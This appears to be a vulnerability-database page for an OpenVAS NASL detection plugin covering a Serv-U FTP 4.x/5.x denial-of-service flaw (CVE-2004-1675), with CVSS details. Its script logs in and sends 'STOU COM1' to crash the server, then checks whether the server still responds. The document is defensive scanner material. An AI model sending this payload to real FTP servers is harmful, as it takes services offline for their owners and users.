Lucene search

K
openvasCopyright (C) 2004 David MaciejakOPENVAS:136141256231014709
HistoryNov 03, 2005 - 12:00 a.m.

Serv-U FTP 4.x 5.x DoS

2005-11-0300:00:00
Copyright (C) 2004 David Maciejak
plugins.openvas.org
43

6.8 Medium

AI Score

Confidence

Low

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.047 Low

EPSS

Percentile

92.5%

It is possible to crash the remote FTP server by sending it a STOU command.

# SPDX-FileCopyrightText: 2004 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:serv-u:serv-u";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.14709");
  script_version("2023-12-20T05:05:58+0000");
  script_cve_id("CVE-2004-1675");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/11155");
  script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("Serv-U FTP 4.x 5.x DoS");
  script_category(ACT_DENIAL);
  script_family("Denial of Service");
  script_copyright("Copyright (C) 2004 David Maciejak");
  script_dependencies("gb_solarwinds_serv-u_consolidation.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("solarwinds/servu/detected");

  script_tag(name:"impact", value:"This vulnerability allows an attacker to prevent you from sharing data through FTP,
  and may even crash this host.");

  script_tag(name:"solution", value:"Upgrade to latest version of this software.");

  script_tag(name:"summary", value:"It is possible to crash the remote FTP server by sending it a STOU command.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("ftp_func.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE, service:"ftp" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

soc = open_sock_tcp( port );
if( ! soc )
  exit( 0 );

kb_creds = ftp_get_kb_creds();
login = kb_creds["login"];
password = kb_creds["pass"];

if( ftp_authenticate( socket:soc, user:login, pass:password ) ) {

  s = string( "STOU COM1", "\r\n" );
  send( socket:soc, data:s );
  close( soc );

  soc2 = open_sock_tcp( port );
  if( ! soc2 || ! recv_line( socket:soc2, length:4096 ) ) {
    security_message( port:port );
    exit( 0 );
  } else {
    close( soc2 );
  }
}

if( soc )
  close( soc );

exit( 99 );

6.8 Medium

AI Score

Confidence

Low

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.047 Low

EPSS

Percentile

92.5%

Related for OPENVAS:136141256231014709